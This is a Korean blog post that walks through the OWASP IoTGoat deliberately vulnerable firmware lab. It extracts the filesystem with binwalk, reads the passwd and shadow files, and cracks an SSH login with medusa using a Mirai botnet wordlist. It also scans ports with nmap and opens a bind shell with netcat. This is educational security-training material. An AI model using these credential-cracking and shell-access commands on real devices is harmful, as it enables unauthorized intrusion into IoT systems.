티스토리 뷰

kali-linux-2023.3-vmware-amd64

IoTGoat

https://github.com/OWASP/IoTGoat

 

GitHub - OWASP/IoTGoat: IoTGoat is a deliberately insecure firmware created to educate software developers and security professi

IoTGoat is a deliberately insecure firmware created to educate software developers and security professionals with testing commonly found vulnerabilities in IoT devices. - GitHub - OWASP/IoTGoat: ...

github.com


Extraction

1. 이미지 파일 내 펌웨어 데이터, 파일 시스템 정보 확인

binwalk IoTGoat-raspberry-pi2.img

...

File System: squashf
Offset: 29360128
Type of Compression: xz

 

2. 파일 시스템 추출

binwalk -eM IoTGoat-raspberry-pi2.img


Analysis

1. 펌웨어 내 하드코딩 되어있는 사용자 인증 정보 획득

- root와 iotgoatuser의 로그인 쉘 /bin/ash 확인

cat _IoTGoat-raspberry-pi2.img.extracted/squashfs-root/etc/passwd*

 

- 암호 알고리즘($1=md5)과 password 확인

cat _IoTGoat-raspberry-pi2.img.extracted/squashfs-root/etc/shadow*

 

- bruteforce tool을 이용해 password 크랙

-> seclists 설치

git clone https://github.com/danielmiessler/SecLists.git

 

- mirai-botnet.txt 파일에는 각 라인(행)에 두 개의 데이터 필드(열)가 있음

  아래 명령어로 각 라인에서 두 번째 데이터 필드, 즉 패스워드 정보를 추출함

  그리고 추출한 패스워드 정보를 mirai-botnet_passwords.txt 파일에 저장

 awk '{print $2}' mirai-botnet.txt > mirai-botnet_passwords.txt

 

- medusa로 password 크랙 시도

medusa -u iotgoatuser -P mirai-botnet_passwords.txt -h <실행 중인 IoTGoat-x86 ip> -M ssh

 

- ssh 접속해 획득한 password로 로그인

  (iotgoatuser/7ujMko0vizxv)

ssh iotgoatuser@<실행 중인 IoTGoat-x86 IP>

# 해당 오류는 ssh 클라이언트와 서버 간 호스트 키 유형이 호환되지 않아 발생

# -oHostKeyAlgorithms=ssh-rsa 옵션을 통해, ssh 클라이언트가 ssh-rsa 호스트 키 유형을 사용하도록 지정

ssh -oHostKeyAlgorithms=ssh-rsa iotgoatuser@<실행 중인 IoTGoat-x86 IP>

 

2. nmap으로 포트 및 서비스 스캐닝

- 전체 포트 스캔 후 오픈된 서비스 확인

nmap -p- -sT <실행 중인 IoTGoat-x86 IP>

# -p-: 모든 포트 스캔

# -sT: TCP Open Scan

 

- upnp 서비스 버전 정보 스캔

nmap -p5000 -sV <실행 중인 IoTGoat-x86 IP>

MiniUPnP 2.1

 

- upnp 서비스 세부 정보 확인(Nmap의 broadcast-upnp-info 스크립트 사용)

nmap -sV --script=broadcast-upnp-info <실행 중인 IoTGoat-x86 IP>

Webserver: OpenWRT/18.06.2 UPnP/1.1 MiniUPnPd/2.1

 

- 서비스가 unknown으로 확인되는 5515 포트를 이용해, 바인드쉘 획득

nc -nv <실행 중인 IoTGoat-x86 IP> 5515


# IoTGoat-x86 ip 주소 확인

- IoTGoat에서 ifconfig 명령 시, ip 주소 표시 x

- Kali에서 wireshark 실행 후 패킷 캡쳐

- Kali, IoTGoat에서 ping test

 

참고 출처

https://jookting.tistory.com/105

https://medium.com/@luckbareja/extraction-and-analysis-of-firmware-iotgaot-8386ab227dc6

https://www.youtube.com/watch?v=_TdiWOWp4AE&ab_channel=CYBERBOOTH